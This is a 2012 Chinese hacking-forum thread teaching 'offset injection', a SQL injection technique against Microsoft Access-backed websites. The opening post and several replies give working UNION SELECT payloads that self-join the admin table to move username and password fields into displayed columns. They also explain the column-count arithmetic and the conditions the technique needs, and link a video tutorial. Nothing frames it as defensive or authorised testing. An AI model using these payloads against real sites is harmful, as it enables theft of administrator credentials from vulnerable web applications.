# access偏移注入笔记【更新视频教程】

**URL:** <https://forum.90sec.com/t/topic/3159>\
**Category:** 技术文章\
**Created:** [2012 年1 月 19 日 03:15 UTC](https://forum.90sec.com/t/topic/3159 "2012-01-19T03:15:25Z")\
**Posts on this page:** 13\
**Page:** 1

<div class="post-metadata">

作者： ![user20](https://forum.90sec.com/user_avatar/forum.90sec.com/user20/32/11357_2.png) [@user20](https://forum.90sec.com/u/user20)\
发布日期： [2012 年1 月 19 日 03:15 UTC](https://forum.90sec.com/t/topic/3159/1 "2012-01-19T03:15:25Z")

</div>

_本帖最后由 小飞 于 2012-1-20 10:05 编辑_

自己的

查询到，他的是28个字段

- 等于 5个字段

加入admin表5个字段

那么union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin

```
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin 

```

- 就是5个字段?

这样来爆admin里边的所有表明

但注意 \* 确是代表了所有admin表的字段

如果正好比如username在可显示位置

就会显示在页面上

通常不知道的是表名 表段名 可以通过查找后台登陆找到

这个就要看自己的了

大家看看这个语句  
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,\* from (admin as a inner join admin as b on a.id=b.id)

这个(admin as a inner join admin as b on a.id=b.id)是admin表自连接

这样from 后面的表就会成为字段数加倍的表

\*代表的字段就会拓宽 加大username password在可显示位置的几率

如果不在 那么union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,\* from (admin as a inner join admin as b on a.id=b.id)

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,\* from (admin as a inner join admin as b on a.id=b.id)

技术核心

前边是 30 后边是 28 怎么可能相等

因为a.id 和 b.id在\*里是有的

那么计算机自动去掉重复的 保持集合里元素的唯一性

但是\*里的字段排列顺序却被打乱了！

先后两次打乱 很有可能让username password偏移到可显示的位置

如果还没成功  
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,\* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,\* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on a.id=d.id)

[http://115.com/file/e7lw7tly](http://115.com/file/e7lw7tly) 教程

---

<div class="post-metadata">

作者： ![Chmodx](https://forum.90sec.com/user_avatar/forum.90sec.com/chmodx/32/11355_2.png) [@Chmodx](https://forum.90sec.com/u/Chmodx)\
发布日期： [2012 年1 月 19 日 05:20 UTC](https://forum.90sec.com/t/topic/3159/2 "2012-01-19T05:20:21Z")

</div>

感觉讲的不是很清楚，前面还是union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,\* 呢，后面就变成了union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,\*

总之我没看懂{:4\_25:}

---

<div class="post-metadata">

作者： ![Hu0G4](https://forum.90sec.com/letter_avatar_proxy/v4/letter/h/f14d63/32.png) [@Hu0G4](https://forum.90sec.com/u/Hu0G4)\
发布日期： [2012 年1 月 19 日 06:49 UTC](https://forum.90sec.com/t/topic/3159/3 "2012-01-19T06:49:53Z")

</div>

手工 表示很烦人的。。。。。

---

<div class="post-metadata">

作者： ![user10](https://forum.90sec.com/user_avatar/forum.90sec.com/user10/32/11334_2.png) [@user10](https://forum.90sec.com/u/user10)\
发布日期： [2012 年1 月 19 日 13:02 UTC](https://forum.90sec.com/t/topic/3159/4 "2012-01-19T13:02:03Z")

</div>

这是在爆出表名和id号前提下用的

---

<div class="post-metadata">

作者： ![pandas](https://forum.90sec.com/user_avatar/forum.90sec.com/pandas/32/11352_2.png) [@pandas](https://forum.90sec.com/u/pandas)\
发布日期： [2012 年1 月 19 日 13:11 UTC](https://forum.90sec.com/t/topic/3159/5 "2012-01-19T13:11:13Z")

</div>

额 以前也看过这样在文章 支持一下

---

<div class="post-metadata">

作者： ![user11](https://forum.90sec.com/user_avatar/forum.90sec.com/user11/32/11335_2.png) [@user11](https://forum.90sec.com/u/user11)\
发布日期： [2012 年1 月 19 日 15:17 UTC](https://forum.90sec.com/t/topic/3159/6 "2012-01-19T15:17:38Z")

</div>

\*\*回复 [2#](http://www.90sec.org/redirect.php?goto=findpost&pid=13176&ptid=1346) _Chmodx_ \*\*

他的意思是 从前面union select 1,2,3,4,5,6,7,8,\*  
1,2,3,4,5,6,7,8,9,\*  
。

```
                                                     。
                                                     。

                                  。

```

一直到返回 正常页面为止。。最终到到 猜到23返回正确。。就是5个字段？这样来爆admin里边的所有表名，但注意 \* 确实代表了所有admin表的字段

然后28-23=5 然后5x2 =10（翻倍让他加大username password在可显示位置的几率） 最后总共字段长度28-10=18 也就是union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,\* from (admin as a inner join admin as b on a.id=b.id

..... 这样就爆出来了

明白了吗？

这个偏移注入 不是楼主的 吧 好像作者是 zake

---

<div class="post-metadata">

作者： ![desperado](https://forum.90sec.com/letter_avatar_proxy/v4/letter/d/3ab097/32.png) [@desperado](https://forum.90sec.com/u/desperado)\
发布日期： [2012 年1 月 19 日 15:48 UTC](https://forum.90sec.com/t/topic/3159/7 "2012-01-19T15:48:34Z")

</div>

虽然不是很懂原理，但有过一次成功注入经历

---

<div class="post-metadata">

作者： ![user20](https://forum.90sec.com/user_avatar/forum.90sec.com/user20/32/11357_2.png) [@user20](https://forum.90sec.com/u/user20)\
发布日期： [2012 年1 月 19 日 16:06 UTC](https://forum.90sec.com/t/topic/3159/8 "2012-01-19T16:06:42Z")

</div>

\*\*回复 [6#](http://www.90sec.org/redirect.php?goto=findpost&pid=13249&ptid=1346) _萝卜头_ \*\*

```
没说是我的啊。。。
学习的时候记载的

```

---

<div class="post-metadata">

作者： ![Chmodx](https://forum.90sec.com/user_avatar/forum.90sec.com/chmodx/32/11355_2.png) [@Chmodx](https://forum.90sec.com/u/Chmodx)\
发布日期： [2012 年1 月 20 日 00:58 UTC](https://forum.90sec.com/t/topic/3159/9 "2012-01-20T00:58:22Z")

</div>

\*\*回复 [6#](http://www.90sec.org/redirect.php?goto=findpost&pid=13249&ptid=1346) _萝卜头_ \*\*

```
然后28-23=5 然后5x2 =10（翻倍让他加大username password在可显示位置的几率） 最后总共字段长度28-10=18 也就是union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)

```

就是这个他没说清楚嘛。{:4\_32:}

---

<div class="post-metadata">

作者： ![user20](https://forum.90sec.com/user_avatar/forum.90sec.com/user20/32/11357_2.png) [@user20](https://forum.90sec.com/u/user20)\
发布日期： [2012 年1 月 20 日 01:15 UTC](https://forum.90sec.com/t/topic/3159/10 "2012-01-20T01:15:42Z")

</div>

\*\*回复 [9#](http://www.90sec.org/redirect.php?goto=findpost&pid=13260&ptid=1346) _Chmodx_ \*\*

```
刚才装机

等会我发上一套我找到的视频教程

```

希望加点金币咯

---

<div class="post-metadata">

作者： ![hack2012](https://forum.90sec.com/user_avatar/forum.90sec.com/hack2012/32/908_2.png) [@hack2012](https://forum.90sec.com/u/hack2012)\
发布日期： [2012 年1 月 20 日 01:50 UTC](https://forum.90sec.com/t/topic/3159/11 "2012-01-20T01:50:07Z")

</div>

观注此贴！{:4\_63:}

---

<div class="post-metadata">

作者： ![user32](https://forum.90sec.com/user_avatar/forum.90sec.com/user32/32/11378_2.png) [@user32](https://forum.90sec.com/u/user32)\
发布日期： [2012 年1 月 20 日 02:20 UTC](https://forum.90sec.com/t/topic/3159/12 "2012-01-20T02:20:43Z")

</div>

使用条件：

1.知道表名；

2.必需知道表里面任意一个字段的名称，比如id，因为后面的on a.id=b.id 要求是实体列，常数列不行；

3.如果表里的字段数大于前面语句里select出的字段数那就一点办法也没有了；

---

<div class="post-metadata">

作者： ![user20](https://forum.90sec.com/user_avatar/forum.90sec.com/user20/32/11357_2.png) [@user20](https://forum.90sec.com/u/user20)\
发布日期： [2012 年1 月 20 日 02:33 UTC](https://forum.90sec.com/t/topic/3159/13 "2012-01-20T02:33:03Z")

</div>

小飞

新手上路

积分49 金币-2  
蛋疼  
貌似重新编辑  
剪掉了金币  
希望管理加上一点啊。。。  
我也是为了论坛里面的人方便55555555
